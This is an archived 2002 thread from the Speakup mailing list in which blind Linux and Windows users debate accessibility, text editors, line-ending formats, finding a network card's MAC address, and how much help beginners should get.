> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Toby Fisher]

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Hi, thank you.
> No, I don't like Windows. I don't use to play games because I don't have the
> time.

Oh now you don't know what you're missing, I can recommend GMA Games for
one, for a bit of light relief.

<snip>

> But I also don't like to see a lot of people from this list, nor
from any
> list, thinking that Linux is better than Windows.

Actually, if you look carefully at most of what you view to be
anti-Windows comments, they are, in the main, aimed at the company that
spawned it.

> Windows is better than Linux for multimedia development but Macintosh is
> even better than Windows  for this thing.
>
> Some Unix graphic stations are better probably than Macintosh for their
> purpose.

Yes, but until very recently Macintosh had a problem with expensive
hardware, for example, on some power macs there was only 1 make of modem
you could use because of the connection it required; guess what, they're
not made any more so my friend is going to have to buy a new computer,
this is, imho, a potential problem which can arise when hardware and
software are made by the same company, as used to happen back in the big
mainframe days.

<snip>

> I like the Linux users to be a kind of helpful community, because
they are
> not very many, especially blind, but all the experimented people in linux
> give the beginners criptical commands without explaining too much, RTFM,
> etc.

I believe that there are reasons for this.

First, what that person may want is a means to get up and running as
hasle-free as possible.  Second, explanation of the command may, and note
I use the word may, cause confusion, until the person has read some docs,
which they may be unable to do due to whatever problem it is that has
caused them to write to the list.

Third, it does not help anyone, least of all the beginner, if they are
spoon-fed, as they may then be unable to help themselves if they are ever
stuck without an internet connection, or otherwise unable to call on
required assistance.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Gregory Nowak]

Ok, why would one need to know their nic's mac address under windows 9x?
I've never had to, and I used windblows extensively for a good while.
Greg


On Sun, May 19, 2002 at 12:49:52AM -0400, Janina Sajka wrote:
> On Sun, 19 May 2002, Octavian Rasnita wrote:
> 
> > If you know a good text editor under Linux please tell me.
> 
> emacs and/or vim. You'll never need anything else. So, learn them
> or go back toWindows.
> 
> > Well, under Windows, you don't need to remember anything at all.
> 
> That's not true. What is your card's mac address? Go ahead. Find
> it.
> Then tell us you don't need to remember anything.
> 
> > You open a window, and it explains you what you should do there.
> > You have to press the space bar to check some checkboxes, to press some
> > buttons, etc, and if you don't know something, press shift+f10 (or the right
> > mouse button and choose "what's this?" or press F1 to view the help file
> > wich is much much more easier to navigate than the man pages under Linux.
> > 
> > Thanks.
> > Teddy,
> > orasnita@home.ro
> > 
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 6:14 AM
> > Subject: Re: interesting experiment.
> > 
> > 
> > OK, let's take this one question at a time ...
> > 
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > 
> > > Are there any games accessible for the blind under Linux, like under
> > > Windows?
> > > Please tell me some web addresses.
> > 
> > I was with you until you said "like Windows." I have no idea
> > about Windows. I know nothing about it.
> > 
> > But, if you want games, you can find them. Maybe they're better,
> > maybe not. But they're out there. Emacs comes with games, and
> > some are speech enabled by emacspeak. The only game I really know
> > much about is gnu chess which can be obtained from
> > http://www.gnu.org.
> > 
> > I'm generally too interested in things to play games on my
> > computer. Last thing I'm likely to do, so I'm out of knowledge
> > here.
> > 
> > > Are there any good sound editing programs for Linux, like Sound Forge,
> > Cool
> > > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> > Walk?
> > 
> > 
> > There's ecasound and sox. Very accessible. And there's
> > gramophone. I recently came across a java midi patch editor, but
> > I haven't had the time to get it working yet to find out about
> > its accessibility. Admitedly, these are less functional than the
> > Windows apps you mention for many tasks. Is this what you do? Or
> > are these academic questions?
> > 
> > > Is there a text editor, that has macro features, Regular expressions, the
> > > ability to save in Windows/Mac/Unix format, etc?
> > 
> > What is Mac format? I've never heard of that. And what is Windows
> > format?
> > And, why would you care?
> > 
> > Is there powerful text editing, formatting, scripting? Of course
> > there is. Far more powerful than in Windows or Mac. There are
> > probably too many to mention, actually. Linux/Unix has the
> > proprietary world beat hands down on this one.
> > 
> > Those format questions are themselves silly. You don't need them.
> > You certainly don't need them to communicate with anyone, or to
> > print out lovely reports, or design lovely e-content for on line
> > publishing, etc.
> > 
> > In fact, you do better to forget them and use the superior tools
> > available on Linux.
> > 
> > >
> > > ... Just a few things that camed to mind.
> > >
> > > A lot of things are accessible, but ... harder to learn, harder to
> > configure
> > > and harder to use, if I am not so bright to remember 1000 command line
> > > parameters.
> > 
> > Give me a break. Grow up. How do you remember 1,000 dialog boxes.
> > How do you remember where to tell windows to show extensions to
> > files, for example. Or how about finding your ethernet card's mac
> > address. Do you remember that? I could go on. This is another
> > bogus argument.
> > 
> > But, if you think the gui is actually superior, you're going to
> > lose this excuse soon enough. GNOME is coming. What sad song are
> > you going to sing then?
> > 
> > >
> > > Thank you for the links.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Saturday, May 18, 2002 9:59 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > > I just wish Linux were
> > > > a more viable general purpose workstation; I use Windows for that
> > purpose.
> > > >
> > > Hi, Darrell:
> > >
> > > Just wondering what you think is missing from Linux' desktop
> > > applications.
> > >
> > > In case this sounds loaded, it might be. The underlying question
> > > might be: Is it your knowledge deficit, or is it Linux itself?
> > > For my own experience in this matter, I've found it's my
> > > knowledge deficit almost without exception.
> > >
> > >
> > >
> > >
> > > --------------------------------------------------------------------------
> > --
> > > ----
> > >
> > >
> > >
> > > ---
> > > Outgoing mail is certified Virus Free.
> > > Checked by AVG anti-virus system (http://www.grisoft.com).
> > > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > 
> > --
> > 
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> > 
> > Email: janina@afb.net Phone: (202) 408-8175
> > 
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> -- 
> 	
> 				Janina Sajka, Director
> 				Technology Research and Development
> 				Governmental Relations Group
> 				American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net		Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Toby Fisher]

On Sat, 18 May 2002, Janina Sajka wrote:

>
> > Is there a text editor, that has macro features, Regular expressions, the
> > ability to save in Windows/Mac/Unix format, etc?
>
> What is Mac format? I've never heard of that. And what is Windows
> format?

Just taking a guess here.

As you probably know, DOS/Windows uses a cr lf combination for a newline
character.  Ok now bare with me on the next bit cos I always get confused
here.  Linux/unix ohnly uses an lf character.  Well, the Mac uses a cr
character.  Macs have a hard enough time dealing with cr lf combinations,
I know, I know, that's cos they're broken, but there it is.   Also, the
hfs file syst em is kind of weird, that's why access to it is still marked
as experimental in the Linux kernel, though it's been around since I think
2.2 or even late 2.0 days.

Then again, he could just be talking about MS Office/Claris Works.

 > > Is there powerful text editing, formatting,
scripting?
Of course > there is. Far more powerful than in Windows or Mac. There are
> probably too many to mention, actually. Linux/Unix has the
> proprietary world beat hands down on this one.

Oooo yeh, I mean, my Slackware distriburtion comes with at least 4 for the
console, and I think there are some more optional ones as well.

> You certainly don't need them to communicate with anyone, or to
> print out lovely reports, or design lovely e-content for on line
> publishing, etc.

As a matter of interest, where would you recommend as a good place to
start my education into latex?  I mean, which part of the docs? *smile*


<snip>

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Deedra Waters]

I think honestly that if beginners have an easy start it may help some in
the long run. I honestly think that there are some people who want to
learn but are having a hard time in which case, helping them can be
useful.

I'm bad at sitting and reading manpage after manpage trying to find
things, and I was even worse at the beginning. I had a great deal of help
in the beginning, and there was a lot I  didn't understand.

I'm not really sure where I'm going with this accept to say that there are
people who have a real hard time by just reading, and helping them, or
trying to walk them threw some things  doesn't always mean that they need
to be spoonfead


On Sun, 19 May 2002, Toby Fisher wrote:

> On Sun, 19 May 2002, Octavian Rasnita wrote:
> 
> > Hi, thank you.
> > No, I don't like Windows. I don't use to play games because I don't have the
> > time.
> 
> Oh now you don't know what you're missing, I can recommend GMA Games for
> one, for a bit of light relief.
> 
> <snip>
> 
> > But I also don't like to see a lot of people from this list, nor
> from any
> > list, thinking that Linux is better than Windows.
> 
> Actually, if you look carefully at most of what you view to be
> anti-Windows comments, they are, in the main, aimed at the company that
> spawned it.
> 
> > Windows is better than Linux for multimedia development but Macintosh is
> > even better than Windows  for this thing.
> >
> > Some Unix graphic stations are better probably than Macintosh for their
> > purpose.
> 
> Yes, but until very recently Macintosh had a problem with expensive
> hardware, for example, on some power macs there was only 1 make of modem
> you could use because of the connection it required; guess what, they're
> not made any more so my friend is going to have to buy a new computer,
> this is, imho, a potential problem which can arise when hardware and
> software are made by the same company, as used to happen back in the big
> mainframe days.
> 
> <snip>
> 
> > I like the Linux users to be a kind of helpful community, because
> they are
> > not very many, especially blind, but all the experimented people in linux
> > give the beginners criptical commands without explaining too much, RTFM,
> > etc.
> 
> I believe that there are reasons for this.
> 
> First, what that person may want is a means to get up and running as
> hasle-free as possible.  Second, explanation of the command may, and note
> I use the word may, cause confusion, until the person has read some docs,
> which they may be unable to do due to whatever problem it is that has
> caused them to write to the list.
> 
> Third, it does not help anyone, least of all the beginner, if they are
> spoon-fed, as they may then be unable to help themselves if they are ever
> stuck without an internet connection, or otherwise unable to call on
> required assistance.
> 
> Cheers.
> 
> -- 
> Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
> Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
> ICQ: #61744808
>    Please avoid sending me Word or PowerPoint attachments.
>    See http://www.fsf.org/philosophy/no-word-attachments.html
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

Re: interesting experiment.

[Janina Sajka]

I must admit to having little patience with statements like "you
don't need to anything about ..."

Makes me doubt the speakers powers of observation and analysis. 

Ever tried to teach a Windows user the GNOME or KDE desktops?
They can't find anything because "the icons are all wrong." 

Well, of course they're not what they've previously learned. But
none of this is really based in our dna. Not walking and talking,
not knowing where to put a stamp on the envelope, not dialing a
telephone, and certainly not using a mouse to shutdown a computer
or create a new directory -- ooopps, I suppose I should have said
"folder!"


-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Spacebar? Shift F10? Man, how can you remember all that stuff?


On Sun, 19 May 2002, Shaun Oliver wrote:

> SNIP
> > > You open a window, and it explains you what you should do there.
> > > You have to press the space bar to check some checkboxes, to press some
> > > buttons, etc, and if you don't know something, press shift+f10 (or the right
> > > mouse button and choose "what's this?" or press F1 to view the help file
> > > wich is much much more easier to navigate than the man pages under Linux.
> SNIP
> 
> A fake.
> man pages under GNU/Linux are a lot easier to navigate than windows help
> pages.
> you need to route the jaws cursor to the pc and then fart around trying to
> find what you were looking for.
> even with the new features in jfw I seriously doubt you could navigate a
> help file easier than a man page..
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

I just supplied my 802.11b card's mac address to our headquarters
IT Dept so they can add me to the table of allowed connections.

I had a DSL provider a few years ago that had the same
requirement.

So glad it's easier to get this data under Linux. Of course, the
Win screen readers may be doing a better job of the screen that
gives the mac address under Windows. I don't know because I
haven't tried it in a few years. It used to be very hard to get
at.


On Sun, 19 May 2002, Gregory Nowak wrote:

> Ok, why would one need to know their nic's mac address under windows 9x?
> I've never had to, and I used windblows extensively for a good while.
> Greg
> 
> 
> On Sun, May 19, 2002 at 12:49:52AM -0400, Janina Sajka wrote:
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > 
> > > If you know a good text editor under Linux please tell me.
> > 
> > emacs and/or vim. You'll never need anything else. So, learn them
> > or go back toWindows.
> > 
> > > Well, under Windows, you don't need to remember anything at all.
> > 
> > That's not true. What is your card's mac address? Go ahead. Find
> > it.
> > Then tell us you don't need to remember anything.
> > 
> > > You open a window, and it explains you what you should do there.
> > > You have to press the space bar to check some checkboxes, to press some
> > > buttons, etc, and if you don't know something, press shift+f10 (or the right
> > > mouse button and choose "what's this?" or press F1 to view the help file
> > > wich is much much more easier to navigate than the man pages under Linux.
> > > 
> > > Thanks.
> > > Teddy,
> > > orasnita@home.ro
> > > 
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 6:14 AM
> > > Subject: Re: interesting experiment.
> > > 
> > > 
> > > OK, let's take this one question at a time ...
> > > 
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > > 
> > > > Are there any games accessible for the blind under Linux, like under
> > > > Windows?
> > > > Please tell me some web addresses.
> > > 
> > > I was with you until you said "like Windows." I have no idea
> > > about Windows. I know nothing about it.
> > > 
> > > But, if you want games, you can find them. Maybe they're better,
> > > maybe not. But they're out there. Emacs comes with games, and
> > > some are speech enabled by emacspeak. The only game I really know
> > > much about is gnu chess which can be obtained from
> > > http://www.gnu.org.
> > > 
> > > I'm generally too interested in things to play games on my
> > > computer. Last thing I'm likely to do, so I'm out of knowledge
> > > here.
> > > 
> > > > Are there any good sound editing programs for Linux, like Sound Forge,
> > > Cool
> > > > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> > > Walk?
> > > 
> > > 
> > > There's ecasound and sox. Very accessible. And there's
> > > gramophone. I recently came across a java midi patch editor, but
> > > I haven't had the time to get it working yet to find out about
> > > its accessibility. Admitedly, these are less functional than the
> > > Windows apps you mention for many tasks. Is this what you do? Or
> > > are these academic questions?
> > > 
> > > > Is there a text editor, that has macro features, Regular expressions, the
> > > > ability to save in Windows/Mac/Unix format, etc?
> > > 
> > > What is Mac format? I've never heard of that. And what is Windows
> > > format?
> > > And, why would you care?
> > > 
> > > Is there powerful text editing, formatting, scripting? Of course
> > > there is. Far more powerful than in Windows or Mac. There are
> > > probably too many to mention, actually. Linux/Unix has the
> > > proprietary world beat hands down on this one.
> > > 
> > > Those format questions are themselves silly. You don't need them.
> > > You certainly don't need them to communicate with anyone, or to
> > > print out lovely reports, or design lovely e-content for on line
> > > publishing, etc.
> > > 
> > > In fact, you do better to forget them and use the superior tools
> > > available on Linux.
> > > 
> > > >
> > > > ... Just a few things that camed to mind.
> > > >
> > > > A lot of things are accessible, but ... harder to learn, harder to
> > > configure
> > > > and harder to use, if I am not so bright to remember 1000 command line
> > > > parameters.
> > > 
> > > Give me a break. Grow up. How do you remember 1,000 dialog boxes.
> > > How do you remember where to tell windows to show extensions to
> > > files, for example. Or how about finding your ethernet card's mac
> > > address. Do you remember that? I could go on. This is another
> > > bogus argument.
> > > 
> > > But, if you think the gui is actually superior, you're going to
> > > lose this excuse soon enough. GNOME is coming. What sad song are
> > > you going to sing then?
> > > 
> > > >
> > > > Thank you for the links.
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Janina Sajka" <janina@afb.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Saturday, May 18, 2002 9:59 PM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > > > I just wish Linux were
> > > > > a more viable general purpose workstation; I use Windows for that
> > > purpose.
> > > > >
> > > > Hi, Darrell:
> > > >
> > > > Just wondering what you think is missing from Linux' desktop
> > > > applications.
> > > >
> > > > In case this sounds loaded, it might be. The underlying question
> > > > might be: Is it your knowledge deficit, or is it Linux itself?
> > > > For my own experience in this matter, I've found it's my
> > > > knowledge deficit almost without exception.
> > > >
> > > >
> > > >
> > > >
> > > > --------------------------------------------------------------------------
> > > --
> > > > ----
> > > >
> > > >
> > > >
> > > > ---
> > > > Outgoing mail is certified Virus Free.
> > > > Checked by AVG anti-virus system (http://www.grisoft.com).
> > > > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > 
> > > --
> > > 
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > > 
> > > Email: janina@afb.net Phone: (202) 408-8175
> > > 
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > 
> > -- 
> > 	
> > 				Janina Sajka, Director
> > 				Technology Research and Development
> > 				Governmental Relations Group
> > 				American Foundation for the Blind (AFB)
> > 
> > Email: janina@afb.net		Phone: (202) 408-8175
> > 
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Hey, Toby:

Yeah, I understand about the line termination differences among 
the various OS's. But, do you really think he was talking about 
ASCII files having different end of line designators? Somehow I 
doubt it.


On Sun, 19 May 2002, Toby Fisher wrote:

> On Sat, 18 May 2002, Janina Sajka wrote:
> 
> >
> > > Is there a text editor, that has macro features, Regular expressions, the
> > > ability to save in Windows/Mac/Unix format, etc?
> >
> > What is Mac format? I've never heard of that. And what is Windows
> > format?
> 
> Just taking a guess here.
> 
> As you probably know, DOS/Windows uses a cr lf combination for a newline
> character.  Ok now bare with me on the next bit cos I always get confused
> here.  Linux/unix ohnly uses an lf character.  Well, the Mac uses a cr
> character.  Macs have a hard enough time dealing with cr lf combinations,
> I know, I know, that's cos they're broken, but there it is.   Also, the
> hfs file syst em is kind of weird, that's why access to it is still marked
> as experimental in the Linux kernel, though it's been around since I think
> 2.2 or even late 2.0 days.
> 
> Then again, he could just be talking about MS Office/Claris Works.
> 
>  > > Is there powerful text editing, formatting,
> scripting?
> Of course > there is. Far more powerful than in Windows or Mac. There are
> > probably too many to mention, actually. Linux/Unix has the
> > proprietary world beat hands down on this one.
> 
> Oooo yeh, I mean, my Slackware distriburtion comes with at least 4 for the
> console, and I think there are some more optional ones as well.
> 
> > You certainly don't need them to communicate with anyone, or to
> > print out lovely reports, or design lovely e-content for on line
> > publishing, etc.
> 
> As a matter of interest, where would you recommend as a good place to
> start my education into latex?  I mean, which part of the docs? *smile*
> 
> 
> <snip>
> 
> Cheers.
> 
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Here's another one. 

Can one yet get a readable report on installed hardware under
Windows?

As I recall, there's such a thing, but it writes a graphical
file. Not at all as friendly as dmesg.

On Sun, 19 May 2002, Cecil H. Whitley wrote:

> Hi,
> even more usefull....
> You've got your network settings set to "obtain an ip address
> automatically"..... How do you find your current ip address?  Under 9x?
> Under NT?  Under 2k/xp?
> You have to remember which operating system and which command to use because
> it's not the same in all cases.
> 
> Admittedly the learning curve is less steep, but the os itself is less
> powerfull as well.  Fewer features directly relate to easier to learn.  Less
> capability also directly equates to less learning needed.  GUI's have some
> benefits, almost any 1d10t can erase/format his/her hard drive in less time.
> It's amazing how fast sighted people can trash a windows system.  Keeps me
> employed anyway.
> Cecil
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 12:49 AM
> Subject: Re: interesting experiment.
> 
> 
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> >
> > > If you know a good text editor under Linux please tell me.
> >
> > emacs and/or vim. You'll never need anything else. So, learn them
> > or go back toWindows.
> >
> > > Well, under Windows, you don't need to remember anything at all.
> >
> > That's not true. What is your card's mac address? Go ahead. Find
> > it.
> > Then tell us you don't need to remember anything.
> >
> > > You open a window, and it explains you what you should do there.
> > > You have to press the space bar to check some checkboxes, to press some
> > > buttons, etc, and if you don't know something, press shift+f10 (or the
> right
> > > mouse button and choose "what's this?" or press F1 to view the help file
> > > wich is much much more easier to navigate than the man pages under
> Linux.
> > >
> > > Thanks.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 6:14 AM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > OK, let's take this one question at a time ...
> > >
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > >
> > > > Are there any games accessible for the blind under Linux, like under
> > > > Windows?
> > > > Please tell me some web addresses.
> > >
> > > I was with you until you said "like Windows." I have no idea
> > > about Windows. I know nothing about it.
> > >
> > > But, if you want games, you can find them. Maybe they're better,
> > > maybe not. But they're out there. Emacs comes with games, and
> > > some are speech enabled by emacspeak. The only game I really know
> > > much about is gnu chess which can be obtained from
> > > http://www.gnu.org.
> > >
> > > I'm generally too interested in things to play games on my
> > > computer. Last thing I'm likely to do, so I'm out of knowledge
> > > here.
> > >
> > > > Are there any good sound editing programs for Linux, like Sound Forge,
> > > Cool
> > > > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> > > Walk?
> > >
> > >
> > > There's ecasound and sox. Very accessible. And there's
> > > gramophone. I recently came across a java midi patch editor, but
> > > I haven't had the time to get it working yet to find out about
> > > its accessibility. Admitedly, these are less functional than the
> > > Windows apps you mention for many tasks. Is this what you do? Or
> > > are these academic questions?
> > >
> > > > Is there a text editor, that has macro features, Regular expressions,
> the
> > > > ability to save in Windows/Mac/Unix format, etc?
> > >
> > > What is Mac format? I've never heard of that. And what is Windows
> > > format?
> > > And, why would you care?
> > >
> > > Is there powerful text editing, formatting, scripting? Of course
> > > there is. Far more powerful than in Windows or Mac. There are
> > > probably too many to mention, actually. Linux/Unix has the
> > > proprietary world beat hands down on this one.
> > >
> > > Those format questions are themselves silly. You don't need them.
> > > You certainly don't need them to communicate with anyone, or to
> > > print out lovely reports, or design lovely e-content for on line
> > > publishing, etc.
> > >
> > > In fact, you do better to forget them and use the superior tools
> > > available on Linux.
> > >
> > > >
> > > > ... Just a few things that camed to mind.
> > > >
> > > > A lot of things are accessible, but ... harder to learn, harder to
> > > configure
> > > > and harder to use, if I am not so bright to remember 1000 command line
> > > > parameters.
> > >
> > > Give me a break. Grow up. How do you remember 1,000 dialog boxes.
> > > How do you remember where to tell windows to show extensions to
> > > files, for example. Or how about finding your ethernet card's mac
> > > address. Do you remember that? I could go on. This is another
> > > bogus argument.
> > >
> > > But, if you think the gui is actually superior, you're going to
> > > lose this excuse soon enough. GNOME is coming. What sad song are
> > > you going to sing then?
> > >
> > > >
> > > > Thank you for the links.
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Janina Sajka" <janina@afb.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Saturday, May 18, 2002 9:59 PM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > > > I just wish Linux were
> > > > > a more viable general purpose workstation; I use Windows for that
> > > purpose.
> > > > >
> > > > Hi, Darrell:
> > > >
> > > > Just wondering what you think is missing from Linux' desktop
> > > > applications.
> > > >
> > > > In case this sounds loaded, it might be. The underlying question
> > > > might be: Is it your knowledge deficit, or is it Linux itself?
> > > > For my own experience in this matter, I've found it's my
> > > > knowledge deficit almost without exception.
> > > >
> > > >
> > > >
> > > >
> > >
> > --------------------------------------------------------------------------
> > > --
> > > > ----
> > > >
> > > >
> > > >
> > > > ---
> > > > Outgoing mail is certified Virus Free.
> > > > Checked by AVG anti-virus system (http://www.grisoft.com).
> > > > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Toby Fisher]

On Sun, 19 May 2002, Janina Sajka wrote:

> Hey, Toby:
>
> Yeah, I understand about the line termination differences among
> the various OS's. But, do you really think he was talking about
> ASCII files having different end of line designators? Somehow I
> doubt it.

Which is why I mentioned those two proprietry apps towards the end of my
post. *grin*

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Ed Barnes]

Hi Janina.
If anyone really cares to know I'll take ifconfig, ifconfig eth0, or 
ifconfig eth1 for example over ipconfig /all or winipcfg /all any day. 
Also, as a somewhat related note, wonder why when you look at ipconfig 
or winipcfg on windows it calls the mac the physical address, it'd be 
better to refer to it in the way that Linux does in my humble opinion.
Jmo.

Ed Barnes
E-mail edbarnes@anomaly.2y.net or ebarnes1@warp.nfld.net
Ph (home) 709-596-3165 or (cell) 709-683-6085
http://anomaly.2y.net
"Money will buy you a pretty good dog, but it won't buy the wag of his 
tail." --- unknown

On 
Sun, 19 May 2002, Janina Sajka wrote:

> I just supplied my 802.11b card's mac address to our headquarters
> IT Dept so they can add me to the table of allowed connections.
> 
> I had a DSL provider a few years ago that had the same
> requirement.
> 
> So glad it's easier to get this data under Linux. Of course, the
> Win screen readers may be doing a better job of the screen that
> gives the mac address under Windows. I don't know because I
> haven't tried it in a few years. It used to be very hard to get
> at.
> 
> 
> On Sun, 19 May 2002, Gregory Nowak wrote:
> 
> > Ok, why would one need to know their nic's mac address under windows 9x?
> > I've never had to, and I used windblows extensively for a good while.
> > Greg
> > 
> > 
